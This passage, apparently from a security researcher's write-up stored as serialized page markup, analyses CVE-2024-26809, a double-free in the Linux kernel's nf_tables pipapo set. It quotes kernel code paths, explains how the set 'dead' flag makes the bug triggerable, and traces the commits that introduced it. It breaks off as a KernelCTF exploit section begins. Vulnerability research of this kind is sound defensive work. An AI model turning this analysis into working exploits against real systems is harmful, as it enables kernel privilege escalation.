[5]\n",{"type":23,"tag":141,"props":51636,"children":51637},{"class":143,"line":824},[51638],{"type":23,"tag":141,"props":51639,"children":51640},{"style":154},[51641],{"type":29,"value":8274},{"type":23,"tag":141,"props":51643,"children":51644},{"class":143,"line":839},[51645],{"type":23,"tag":141,"props":51646,"children":51647},{"style":154},[51648],{"type":29,"value":2573},{"type":23,"tag":32,"props":51650,"children":51651},{},[51652,51654,51660,51662,51667,51668,51673],{"type":29,"value":51653},"Later on, the ",{"type":23,"tag":38,"props":51655,"children":51657},{"className":51656},[],[51658],{"type":29,"value":51659},"nf_tables_commit_release()",{"type":29,"value":51661}," function is called to free any objects that were marked for release, and eventually calls the ",{"type":23,"tag":38,"props":51663,"children":51665},{"className":51664},[],[51666],{"type":29,"value":49498},{"type":29,"value":50818},{"type":23,"tag":38,"props":51669,"children":51671},{"className":51670},[],[51672],{"type":29,"value":50832},{"type":29,"value":51674}," method.",{"type":23,"tag":131,"props":51676,"children":51678},{"className":15191,"code":51677,"language":1807,"meta":7,"style":7},"static void nf_tables_commit_release(struct net *net)\n{\n[...]\n schedule_work(&trans_destroy_work);\n[...]\n}\n[...]\nstatic void nf_tables_trans_destroy_work(struct work_struct *w)\n{\n[...]\n list_for_each_entry_safe(trans, next, &head, list) {\n nft_trans_list_del(trans);\n nft_commit_release(trans);\n }\n}\n[...]\nstatic void nft_commit_release(struct nft_trans *trans)\n{\n switch (trans->msg_type) {\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET:\n nft_set_destroy(&trans->ctx, nft_trans_set(trans));\n[...]\n}\n[...]\nstatic void nft_set_destroy(const struct nft_ctx *ctx, struct nft_set *set)\n{\n[...]\n set->ops->destroy(ctx, set);\n[...]\n}\n",[51679],{"type":23,"tag":38,"props":51680,"children":51681},{"__ignoreMap":7},[51682,51721,51728,51735,51756,51763,51770,51777,51818,51825,51832,51853,51866,51878,51885,51892,51899,51940,51947,51975,51982,51995,52007,52048,52055,52062,52069,52127,52134,52141,52170,52177],{"type":23,"tag":141,"props":51683,"children":51684},{"class":143,"line":144},[51685,51689,51693,51697,51701,51705,51709,51713,51717],{"type":23,"tag":141,"props":51686,"children":51687},{"style":449},[51688],{"type":29,"value":49523},{"type":23,"tag":141,"props":51690,"children":51691},{"style":449},[51692],{"type":29,"value":49528},{"type":23,"tag":141,"props":51694,"children":51695},{"style":184},[51696],{"type":29,"value":51325},{"type":23,"tag":141,"props":51698,"children":51699},{"style":154},[51700],{"type":29,"value":192},{"type":23,"tag":141,"props":51702,"children":51703},{"style":449},[51704],{"type":29,"value":8079},{"type":23,"tag":141,"props":51706,"children":51707},{"style":154},[51708],{"type":29,"value":50481},{"type":23,"tag":141,"props":51710,"children":51711},{"style":160},[51712],{"type":29,"value":197},{"type":23,"tag":141,"props":51714,"children":51715},{"style":750},[51716],{"type":29,"value":50490},{"type":23,"tag":141,"props":51718,"children":51719},{"style":154},[51720],{"type":29,"value":758},{"type":23,"tag":141,"props":51722,"children":51723},{"class":143,"line":180},[51724],{"type":23,"tag":141,"props":51725,"children":51726},{"style":154},[51727],{"type":29,"value":766},{"type":23,"tag":141,"props":51729,"children":51730},{"class":143,"line":205},[51731],{"type":23,"tag":141,"props":51732,"children":51733},{"style":154},[51734],{"type":29,"value":8998},{"type":23,"tag":141,"props":51736,"children":51737},{"class":143,"line":218},[51738,51743,51747,51751],{"type":23,"tag":141,"props":51739,"children":51740},{"style":184},[51741],{"type":29,"value":51742}," schedule_work",{"type":23,"tag":141,"props":51744,"children":51745},{"style":154},[51746],{"type":29,"value":192},{"type":23,"tag":141,"props":51748,"children":51749},{"style":160},[51750],{"type":29,"value":1770},{"type":23,"tag":141,"props":51752,"children":51753},{"style":154},[51754],{"type":29,"value":51755},"trans_destroy_work);\n",{"type":23,"tag":141,"props":51757,"children":51758},{"class":143,"line":227},[51759],{"type":23,"tag":141,"props":51760,"children":51761},{"style":154},[51762],{"type":29,"value":8998},{"type":23,"tag":141,"props":51764,"children":51765},{"class":143,"line":241},[51766],{"type":23,"tag":141,"props":51767,"children":51768},{"style":154},[51769],{"type":29,"value":2573},{"type":23,"tag":141,"props":51771,"children":51772},{"class":143,"line":262},[51773],{"type":23,"tag":141,"props":51774,"children":51775},{"style":154},[51776],{"type":29,"value":8998},{"type":23,"tag":141,"props":51778,"children":51779},{"class":143,"line":271},[51780,51784,51788,51793,51797,51801,51806,51810,51814],{"type":23,"tag":141,"props":51781,"children":51782},{"style":449},[51783],{"type":29,"value":49523},{"type":23,"tag":141,"props":51785,"children":51786},{"style":449},[51787],{"type":29,"value":49528},{"type":23,"tag":141,"props":51789,"children":51790},{"style":184},[51791],{"type":29,"value":51792}," nf_tables_trans_destroy_work",{"type":23,"tag":141,"props":51794,"children":51795},{"style":154},[51796],{"type":29,"value":192},{"type":23,"tag":141,"props":51798,"children":51799},{"style":449},[51800],{"type":29,"value":8079},{"type":23,"tag":141,"props":51802,"children":51803},{"style":154},[51804],{"type":29,"value":51805}," work_struct ",{"type":23,"tag":141,"props":51807,"children":51808},{"style":160},[51809],{"type":29,"value":197},{"type":23,"tag":141,"props":51811,"children":51812},{"style":750},[51813],{"type":29,"value":48050},{"type":23,"tag":141,"props":51815,"children":51816},{"style":154},[51817],{"type":29,"value":758},{"type":23,"tag":141,"props":51819,"children":51820},{"class":143,"line":293},[51821],{"type":23,"tag":141,"props":51822,"children":51823},{"style":154},[51824],{"type":29,"value":766},{"type":23,"tag":141,"props":51826,"children":51827},{"class":143,"line":801},[51828],{"type":23,"tag":141,"props":51829,"children":51830},{"style":154},[51831],{"type":29,"value":8998},{"type":23,"tag":141,"props":51833,"children":51834},{"class":143,"line":810},[51835,51839,51844,51848],{"type":23,"tag":141,"props":51836,"children":51837},{"style":184},[51838],{"type":29,"value":51477},{"type":23,"tag":141,"props":51840,"children":51841},{"style":154},[51842],{"type":29,"value":51843},"(trans, next, ",{"type":23,"tag":141,"props":51845,"children":51846},{"style":160},[51847],{"type":29,"value":1770},{"type":23,"tag":141,"props":51849,"children":51850},{"style":154},[51851],{"type":29,"value":51852},"head, list) {\n",{"type":23,"tag":141,"props":51854,"children":51855},{"class":143,"line":824},[51856,51861],{"type":23,"tag":141,"props":51857,"children":51858},{"style":184},[51859],{"type":29,"value":51860}," nft_trans_list_del",{"type":23,"tag":141,"props":51862,"children":51863},{"style":154},[51864],{"type":29,"value":51865},"(trans);\n",{"type":23,"tag":141,"props":51867,"children":51868},{"class":143,"line":839},[51869,51874],{"type":23,"tag":141,"props":51870,"children":51871},{"style":184},[51872],{"type":29,"value":51873}," nft_commit_release",{"type":23,"tag":141,"props":51875,"children":51876},{"style":154},[51877],{"type":29,"value":51865},{"type":23,"tag":141,"props":51879,"children":51880},{"class":143,"line":848},[51881],{"type":23,"tag":141,"props":51882,"children":51883},{"style":154},[51884],{"type":29,"value":8274},{"type":23,"tag":141,"props":51886,"children":51887},{"class":143,"line":2304},[51888],{"type":23,"tag":141,"props":51889,"children":51890},{"style":154},[51891],{"type":29,"value":2573},{"type":23,"tag":141,"props":51893,"children":51894},{"class":143,"line":2313},[51895],{"type":23,"tag":141,"props":51896,"children":51897},{"style":154},[51898],{"type":29,"value":8998},{"type":23,"tag":141,"props":51900,"children":51901},{"class":143,"line":2335},[51902,51906,51910,51915,51919,51923,51928,51932,51936],{"type":23,"tag":141,"props":51903,"children":51904},{"style":449},[51905],{"type":29,"value":49523},{"type":23,"tag":141,"props":51907,"children":51908},{"style":449},[51909],{"type":29,"value":49528},{"type":23,"tag":141,"props":51911,"children":51912},{"style":184},[51913],{"type":29,"value":51914}," nft_commit_release",{"type":23,"tag":141,"props":51916,"children":51917},{"style":154},[51918],{"type":29,"value":192},{"type":23,"tag":141,"props":51920,"children":51921},{"style":449},[51922],{"type":29,"value":8079},{"type":23,"tag":141,"props":51924,"children":51925},{"style":154},[51926],{"type":29,"value":51927}," nft_trans ",{"type":23,"tag":141,"props":51929,"children":51930},{"style":160},[51931],{"type":29,"value":197},{"type":23,"tag":141,"props":51933,"children":51934},{"style":750},[51935],{"type":29,"value":51040},{"type":23,"tag":141,"props":51937,"children":51938},{"style":154},[51939],{"type":29,"value":758},{"type":23,"tag":141,"props":51941,"children":51942},{"class":143,"line":2343},[51943],{"type":23,"tag":141,"props":51944,"children":51945},{"style":154},[51946],{"type":29,"value":766},{"type":23,"tag":141,"props":51948,"children":51949},{"class":143,"line":2352},[51950,51955,51959,51963,51967,51971],{"type":23,"tag":141,"props":51951,"children":51952},{"style":148},[51953],{"type":29,"value":51954}," switch",{"type":23,"tag":141,"props":51956,"children":51957},{"style":154},[51958],{"type":29,"value":1220},{"type":23,"tag":141,"props":51960,"children":51961},{"style":750},[51962],{"type":29,"value":51040},{"type":23,"tag":141,"props":51964,"children":51965},{"style":154},[51966],{"type":29,"value":12435},{"type":23,"tag":141,"props":51968,"children":51969},{"style":750},[51970],{"type":29,"value":51078},{"type":23,"tag":141,"props":51972,"children":51973},{"style":154},[51974],{"type":29,"value":13480},{"type":23,"tag":141,"props":51976,"children":51977},{"class":143,"line":2421},[51978],{"type":23,"tag":141,"props":51979,"children":51980},{"style":154},[51981],{"type":29,"value":8998},{"type":23,"tag":141,"props":51983,"children":51984},{"class":143,"line":2429},[51985,51990],{"type":23,"tag":141,"props":51986,"children":51987},{"style":148},[51988],{"type":29,"value":51989}," case",{"type":23,"tag":141,"props":51991,"children":51992},{"style":154},[51993],{"type":29,"value":51994}," NFT_MSG_DELSET:\n",{"type":23,"tag":141,"props":51996,"children":51997},{"class":143,"line":2459},[51998,52002],{"type":23,"tag":141,"props":51999,"children":52000},{"style":148},[52001],{"type":29,"value":51989},{"type":23,"tag":141,"props":52003,"children":52004},{"style":154},[52005],{"type":29,"value":52006}," NFT_MSG_DESTROYSET:\n",{"type":23,"tag":141,"props":52008,"children":52009},{"class":143,"line":2467},[52010,52015,52019,52023,52027,52031,52035,52039,52043],{"type":23,"tag":141,"props":52011,"children":52012},{"style":184},[52013],{"type":29,"value":52014}," nft_set_destroy",{"type":23,"tag":141,"props":52016,"children":52017},{"style":154},[52018],{"type":29,"value":192},{"type":23,"tag":141,"props":52020,"children":52021},{"style":160},[52022],{"type":29,"value":1770},{"type":23,"tag":141,"props":52024,"children":52025},{"style":154},[52026],{"type":29,"value":51040},{"type":23,"tag":141,"props":52028,"children":52029},{"style":160},[52030],{"type":29,"value":12435},{"type":23,"tag":141,"props":52032,"children":52033},{"style":750},[52034],{"type":29,"value":18952},{"type":23,"tag":141,"props":52036,"children":52037},{"style":154},[52038],{"type":29,"value":480},{"type":23,"tag":141,"props":52040,"children":52041},{"style":184},[52042],{"type":29,"value":51006},{"type":23,"tag":141,"props":52044,"children":52045},{"style":154},[52046],{"type":29,"value":52047},"(trans));\n",{"type":23,"tag":141,"props":52049,"children":52050},{"class":143,"line":2499},[52051],{"type":23,"tag":141,"props":52052,"children":52053},{"style":154},[52054],{"type":29,"value":8998},{"type":23,"tag":141,"props":52056,"children":52057},{"class":143,"line":2507},[52058],{"type":23,"tag":141,"props":52059,"children":52060},{"style":154},[52061],{"type":29,"value":2573},{"type":23,"tag":141,"props":52063,"children":52064},{"class":143,"line":2567},[52065],{"type":23,"tag":141,"props":52066,"children":52067},{"style":154},[52068],{"type":29,"value":8998},{"type":23,"tag":141,"props":52070,"children":52071},{"class":143,"line":7724},[52072,52076,52080,52085,52089,52093,52097,52101,52105,52110,52114,52118,52122],{"type":23,"tag":141,"props":52073,"children":52074},{"style":449},[52075],{"type":29,"value":49523},{"type":23,"tag":141,"props":52077,"children":52078},{"style":449},[52079],{"type":29,"value":49528},{"type":23,"tag":141,"props":52081,"children":52082},{"style":184},[52083],{"type":29,"value":52084}," nft_set_destroy",{"type":23,"tag":141,"props":52086,"children":52087},{"style":154},[52088],{"type":29,"value":192},{"type":23,"tag":141,"props":52090,"children":52091},{"style":449},[52092],{"type":29,"value":8334},{"type":23,"tag":141,"props":52094,"children":52095},{"style":449},[52096],{"type":29,"value":19823},{"type":23,"tag":141,"props":52098,"children":52099},{"style":154},[52100],{"type":29,"value":49550},{"type":23,"tag":141,"props":52102,"children":52103},{"style":160},[52104],{"type":29,"value":197},{"type":23,"tag":141,"props":52106,"children":52107},{"style":154},[52108],{"type":29,"value":52109},"ctx, ",{"type":23,"tag":141,"props":52111,"children":52112},{"style":449},[52113],{"type":29,"value":8079},{"type":23,"tag":141,"props":52115,"children":52116},{"style":154},[52117],{"type":29,"value":49578},{"type":23,"tag":141,"props":52119,"children":52120},{"style":160},[52121],{"type":29,"value":197},{"type":23,"tag":141,"props":52123,"children":52124},{"style":154},[52125],{"type":29,"value":52126},"set)\n",{"type":23,"tag":141,"props":52128,"children":52129},{"class":143,"line":7742},[52130],{"type":23,"tag":141,"props":52131,"children":52132},{"style":154},[52133],{"type":29,"value":766},{"type":23,"tag":141,"props":52135,"children":52136},{"class":143,"line":7787},[52137],{"type":23,"tag":141,"props":52138,"children":52139},{"style":154},[52140],{"type":29,"value":8998},{"type":23,"tag":141,"props":52142,"children":52143},{"class":143,"line":7893},[52144,52148,52152,52156,52160,52165],{"type":23,"tag":141,"props":52145,"children":52146},{"style":750},[52147],{"type":29,"value":51565},{"type":23,"tag":141,"props":52149,"children":52150},{"style":154},[52151],{"type":29,"value":12435},{"type":23,"tag":141,"props":52153,"children":52154},{"style":750},[52155],{"type":29,"value":51149},{"type":23,"tag":141,"props":52157,"children":52158},{"style":154},[52159],{"type":29,"value":12435},{"type":23,"tag":141,"props":52161,"children":52162},{"style":184},[52163],{"type":29,"value":52164},"destroy",{"type":23,"tag":141,"props":52166,"children":52167},{"style":154},[52168],{"type":29,"value":52169},"(ctx, set);\n",{"type":23,"tag":141,"props":52171,"children":52172},{"class":143,"line":22181},[52173],{"type":23,"tag":141,"props":52174,"children":52175},{"style":154},[52176],{"type":29,"value":8998},{"type":23,"tag":141,"props":52178,"children":52179},{"class":143,"line":22216},[52180],{"type":23,"tag":141,"props":52181,"children":52182},{"style":154},[52183],{"type":29,"value":2573},{"type":23,"tag":32,"props":52185,"children":52186},{},[52187,52189,52194,52196,52201,52203,52209,52211,52216,52218,52223,52225,52229,52231,52236,52237,52241,52243,52249],{"type":29,"value":52188},"It may appear as if it would be impossible to make ",{"type":23,"tag":38,"props":52190,"children":52192},{"className":52191},[],[52193],{"type":29,"value":49452},{"type":29,"value":52195}," true in the release step because the ",{"type":23,"tag":38,"props":52197,"children":52199},{"className":52198},[],[52200],{"type":29,"value":50824},{"type":29,"value":52202}," method is always invoked first...\nHowever, one last piece brings this bug to life: the ",{"type":23,"tag":38,"props":52204,"children":52206},{"className":52205},[],[52207],{"type":29,"value":52208},"set->dead",{"type":29,"value":52210}," flag. If a ",{"type":23,"tag":38,"props":52212,"children":52214},{"className":52213},[],[52215],{"type":29,"value":49498},{"type":29,"value":52217}," was marked for deletion, it receives the ",{"type":23,"tag":38,"props":52219,"children":52221},{"className":52220},[],[52222],{"type":29,"value":52208},{"type":29,"value":52224}," flag ",{"type":23,"tag":141,"props":52226,"children":52227},{},[52228],{"type":29,"value":1049},{"type":29,"value":52230},". If this flag is set, then the commit path will skip any commitments to this ",{"type":23,"tag":38,"props":52232,"children":52234},{"className":52233},[],[52235],{"type":29,"value":49498},{"type":29,"value":45},{"type":23,"tag":141,"props":52238,"children":52239},{},[52240],{"type":29,"value":16205},{"type":29,"value":52242},". This is extremely convenient for us and will allow us to trigger the double-free because the ",{"type":23,"tag":38,"props":52244,"children":52246},{"className":52245},[],[52247],{"type":29,"value":52248},"priv ->dirty",{"type":29,"value":52250}," flag is not cleared when it should have been.",{"type":23,"tag":24,"props":52252,"children":52254},{"id":52253},"tracing-the-guilty-commit",[52255],{"type":29,"value":52256},"Tracing the guilty commit",{"type":23,"tag":32,"props":52258,"children":52259},{},[52260,52262,52269,52271,52277,52279,52284,52286,52292],{"type":29,"value":52261},"The above scenario raises some interesting suppositions about how this vulnerability was introduced. See, any ",{"type":23,"tag":55,"props":52263,"children":52266},{"href":52264,"rel":52265},"https://ubuntu.com/security/CVE-2024-26809",[59],[52267],{"type":29,"value":52268},"advisories",{"type":29,"value":52270}," about this vulnerability will say it was introduced by this ",{"type":23,"tag":55,"props":52272,"children":52275},{"href":52273,"rel":52274},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=9827a0e6e23bf43003cd3d5b7fb11baf59a35e1e",[59],[52276],{"type":29,"value":51158},{"type":29,"value":52278},", which sounds fair considering this added the weird code that frees twice in the same path. However, by checking the blame on the ",{"type":23,"tag":38,"props":52280,"children":52282},{"className":52281},[],[52283],{"type":29,"value":52208},{"type":29,"value":52285}," flag, which was what actually made this exploitable, we will learn that it was only introduced over a year after the commit above in this ",{"type":23,"tag":55,"props":52287,"children":52290},{"href":52288,"rel":52289},"https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=5f68718b34a531a556f2f50300ead2862278da26",[59],[52291],{"type":29,"value":51158},{"type":29,"value":322},{"type":23,"tag":32,"props":52294,"children":52295},{},[52296],{"type":29,"value":52297},"By reading the message of the first commit, we can finally understand why this code was added:",{"type":23,"tag":131,"props":52299,"children":52303},{"className":52300,"code":52301,"language":52302,"meta":7,"style":7},"language-txt shiki shiki-themes slack-dark","New elements that reside in the clone are not released in case that the\ntransaction is aborted.\n\n[16302.231754] ------------[ cut here ]------------\n[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[...]\n[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n[...]\n[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n[...]\n[16302.231917] Call Trace:\n[16302.231919] \u003CTASK>\n[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n[16302.231952] ? __nla_validate_parse+0x48/0x190\n[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n[16302.231963] netlink_unicast+0x211/0x340\n[16302.231969] netlink_sendmsg+0x21e/0x460\n\nAdd nft_set_pipapo_match_destroy() helper function to release the\nelements in the lookup tables.\n\nStefano Brivio says: \"We additionally look for elements pointers in the\ncloned matching data if priv->dirty is set, because that means that\ncloned data might point to additional elements we did not commit to the\nworking copy yet (such as the abort path case, but perhaps not limited\nto it).\"\n\nFixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\nReviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\nSigned-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n","txt",[52304],{"type":23,"tag":38,"props":52305,"children":52306},{"__ignoreMap":7},[52307,52315,52323,52330,52338,52346,52353,52361,52368,52376,52384,52391,52399,52407,52415,52423,52431,52439,52447,52455,52463,52470,52478,52486,52493,52501,52509,52517,52525,52533,52540,52548,52556],{"type":23,"tag":141,"props":52308,"children":52309},{"class":143,"line":144},[52310],{"type":23,"tag":141,"props":52311,"children":52312},{},[52313],{"type":29,"value":52314},"New elements that reside in the clone are not released in case that the\n",{"type":23,"tag":141,"props":52316,"children":52317},{"class":143,"line":180},[52318],{"type":23,"tag":141,"props":52319,"children":52320},{},[52321],{"type":29,"value":52322},"transaction is aborted.\n",{"type":23,"tag":141,"props":52324,"children":52325},{"class":143,"line":205},[52326],{"type":23,"tag":141,"props":52327,"children":52328},{"emptyLinePlaceholder":15},[52329],{"type":29,"value":719},{"type":23,"tag":141,"props":52331,"children":52332},{"class":143,"line":218},[52333],{"type":23,"tag":141,"props":52334,"children":52335},{},[52336],{"type":29,"value":52337},"[16302.231754] ------------[ cut here ]------------\n",{"type":23,"tag":141,"props":52339,"children":52340},{"class":143,"line":227},[52341],{"type":23,"tag":141,"props":52342,"children":52343},{},[52344],{"type":29,"value":52345},"[16302.231756] WARNING: CPU: 0 PID: 100509 at net/netfilter/nf_tables_api.c:1864 nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":141,"props":52347,"children":52348},{"class":143,"line":241},[52349],{"type":23,"tag":141,"props":52350,"children":52351},{},[52352],{"type":29,"value":8998},{"type":23,"tag":141,"props":52354,"children":52355},{"class":143,"line":262},[52356],{"type":23,"tag":141,"props":52357,"children":52358},{},[52359],{"type":29,"value":52360},"[16302.231882] CPU: 0 PID: 100509 Comm: nft Tainted: G W 5.19.0-rc3+ #155\n",{"type":23,"tag":141,"props":52362,"children":52363},{"class":143,"line":271},[52364],{"type":23,"tag":141,"props":52365,"children":52366},{},[52367],{"type":29,"value":8998},{"type":23,"tag":141,"props":52369,"children":52370},{"class":143,"line":293},[52371],{"type":23,"tag":141,"props":52372,"children":52373},{},[52374],{"type":29,"value":52375},"[16302.231887] RIP: 0010:nf_tables_chain_destroy+0x26/0x127 [nf_tables]\n",{"type":23,"tag":141,"props":52377,"children":52378},{"class":143,"line":801},[52379],{"type":23,"tag":141,"props":52380,"children":52381},{},[52382],{"type":29,"value":52383},"[16302.231899] Code: f3 fe ff ff 41 55 41 54 55 53 48 8b 6f 10 48 89 fb 48 c7 c7 82 96 d9 a0 8b 55 50 48 8b 75 58 e8 de f5 92 e0 83 7d 50 00 74 09 \u003C0f> 0b 5b 5d 41 5c 41 5d c3 4c 8b 65 00 48 8b 7d 08 49 39 fc 74 05\n",{"type":23,"tag":141,"props":52385,"children":52386},{"class":143,"line":810},[52387],{"type":23,"tag":141,"props":52388,"children":52389},{},[52390],{"type":29,"value":8998},{"type":23,"tag":141,"props":52392,"children":52393},{"class":143,"line":824},[52394],{"type":23,"tag":141,"props":52395,"children":52396},{},[52397],{"type":29,"value":52398},"[16302.231917] Call Trace:\n",{"type":23,"tag":141,"props":52400,"children":52401},{"class":143,"line":839},[52402],{"type":23,"tag":141,"props":52403,"children":52404},{},[52405],{"type":29,"value":52406},"[16302.231919] \u003CTASK>\n",{"type":23,"tag":141,"props":52408,"children":52409},{"class":143,"line":848},[52410],{"type":23,"tag":141,"props":52411,"children":52412},{},[52413],{"type":29,"value":52414},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":23,"tag":141,"props":52416,"children":52417},{"class":143,"line":2304},[52418],{"type":23,"tag":141,"props":52419,"children":52420},{},[52421],{"type":29,"value":52422},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":23,"tag":141,"props":52424,"children":52425},{"class":143,"line":2313},[52426],{"type":23,"tag":141,"props":52427,"children":52428},{},[52429],{"type":29,"value":52430},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":23,"tag":141,"props":52432,"children":52433},{"class":143,"line":2335},[52434],{"type":23,"tag":141,"props":52435,"children":52436},{},[52437],{"type":29,"value":52438},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":23,"tag":141,"props":52440,"children":52441},{"class":143,"line":2343},[52442],{"type":23,"tag":141,"props":52443,"children":52444},{},[52445],{"type":29,"value":52446},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":23,"tag":141,"props":52448,"children":52449},{"class":143,"line":2352},[52450],{"type":23,"tag":141,"props":52451,"children":52452},{},[52453],{"type":29,"value":52454},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":23,"tag":141,"props":52456,"children":52457},{"class":143,"line":2421},[52458],{"type":23,"tag":141,"props":52459,"children":52460},{},[52461],{"type":29,"value":52462},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":23,"tag":141,"props":52464,"children":52465},{"class":143,"line":2429},[52466],{"type":23,"tag":141,"props":52467,"children":52468},{"emptyLinePlaceholder":15},[52469],{"type":29,"value":719},{"type":23,"tag":141,"props":52471,"children":52472},{"class":143,"line":2459},[52473],{"type":23,"tag":141,"props":52474,"children":52475},{},[52476],{"type":29,"value":52477},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":23,"tag":141,"props":52479,"children":52480},{"class":143,"line":2467},[52481],{"type":23,"tag":141,"props":52482,"children":52483},{},[52484],{"type":29,"value":52485},"elements in the lookup tables.\n",{"type":23,"tag":141,"props":52487,"children":52488},{"class":143,"line":2499},[52489],{"type":23,"tag":141,"props":52490,"children":52491},{"emptyLinePlaceholder":15},[52492],{"type":29,"value":719},{"type":23,"tag":141,"props":52494,"children":52495},{"class":143,"line":2507},[52496],{"type":23,"tag":141,"props":52497,"children":52498},{},[52499],{"type":29,"value":52500},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":23,"tag":141,"props":52502,"children":52503},{"class":143,"line":2567},[52504],{"type":23,"tag":141,"props":52505,"children":52506},{},[52507],{"type":29,"value":52508},"cloned matching data if priv->dirty is set, because that means that\n",{"type":23,"tag":141,"props":52510,"children":52511},{"class":143,"line":7724},[52512],{"type":23,"tag":141,"props":52513,"children":52514},{},[52515],{"type":29,"value":52516},"cloned data might point to additional elements we did not commit to the\n",{"type":23,"tag":141,"props":52518,"children":52519},{"class":143,"line":7742},[52520],{"type":23,"tag":141,"props":52521,"children":52522},{},[52523],{"type":29,"value":52524},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":23,"tag":141,"props":52526,"children":52527},{"class":143,"line":7787},[52528],{"type":23,"tag":141,"props":52529,"children":52530},{},[52531],{"type":29,"value":52532},"to it).\"\n",{"type":23,"tag":141,"props":52534,"children":52535},{"class":143,"line":7893},[52536],{"type":23,"tag":141,"props":52537,"children":52538},{"emptyLinePlaceholder":15},[52539],{"type":29,"value":719},{"type":23,"tag":141,"props":52541,"children":52542},{"class":143,"line":22181},[52543],{"type":23,"tag":141,"props":52544,"children":52545},{},[52546],{"type":29,"value":52547},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":23,"tag":141,"props":52549,"children":52550},{"class":143,"line":22216},[52551],{"type":23,"tag":141,"props":52552,"children":52553},{},[52554],{"type":29,"value":52555},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":23,"tag":141,"props":52557,"children":52558},{"class":143,"line":22224},[52559],{"type":23,"tag":141,"props":52560,"children":52561},{},[52562],{"type":29,"value":52563},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":23,"tag":32,"props":52565,"children":52566},{},[52567,52569,52574,52576,52581,52583,52588,52590,52595],{"type":29,"value":52568},"As we previously discussed, committing changes to a pipapo ",{"type":23,"tag":38,"props":52570,"children":52572},{"className":52571},[],[52573],{"type":29,"value":49498},{"type":29,"value":52575}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":23,"tag":38,"props":52577,"children":52579},{"className":52578},[],[52580],{"type":29,"value":50824},{"type":29,"value":52582}," method by simply replacing the ",{"type":23,"tag":38,"props":52584,"children":52586},{"className":52585},[],[52587],{"type":29,"value":49498},{"type":29,"value":52589},"s match object with its updated clone. So checking the ",{"type":23,"tag":38,"props":52591,"children":52593},{"className":52592},[],[52594],{"type":29,"value":49452},{"type":29,"value":52596}," flag and then calling free again ensures we also free uncommitted changes.",{"type":23,"tag":32,"props":52598,"children":52599},{},[52600,52602,52607],{"type":29,"value":52601},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":23,"tag":38,"props":52603,"children":52605},{"className":52604},[],[52606],{"type":29,"value":49498},{"type":29,"value":52608},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":23,"tag":32,"props":52610,"children":52611},{},[52612,52614,52620,52622,52627,52629,52634],{"type":29,"value":52613},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":23,"tag":38,"props":52615,"children":52617},{"className":52616},[],[52618],{"type":29,"value":52619},"set->ops->destroy()",{"type":29,"value":52621}," could be called without clearing the ",{"type":23,"tag":38,"props":52623,"children":52625},{"className":52624},[],[52626],{"type":29,"value":49452},{"type":29,"value":52628}," flag, which was fine considering you didn't have duplicated views of the ",{"type":23,"tag":38,"props":52630,"children":52632},{"className":52631},[],[52633],{"type":29,"value":49490},{"type":29,"value":52635},"s, so they would all be in the clone set.",{"type":23,"tag":32,"props":52637,"children":52638},{},[52639,52641,52646],{"type":29,"value":52640},"But when the ",{"type":23,"tag":38,"props":52642,"children":52644},{"className":52643},[],[52645],{"type":29,"value":52208},{"type":29,"value":52647}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":23,"tag":32,"props":52649,"children":52650},{},[52651],{"type":29,"value":52652},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":23,"tag":24,"props":52654,"children":52656},{"id":52655},"kernelctf-exploit",[52657],{"type":29,"value":52658},"KernelCTF exploit",{"type":23,"tag":32,"props":52660,"children":52661},{},[52662,52664,52670,52672,52679],{"type":29,"value":52663},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the 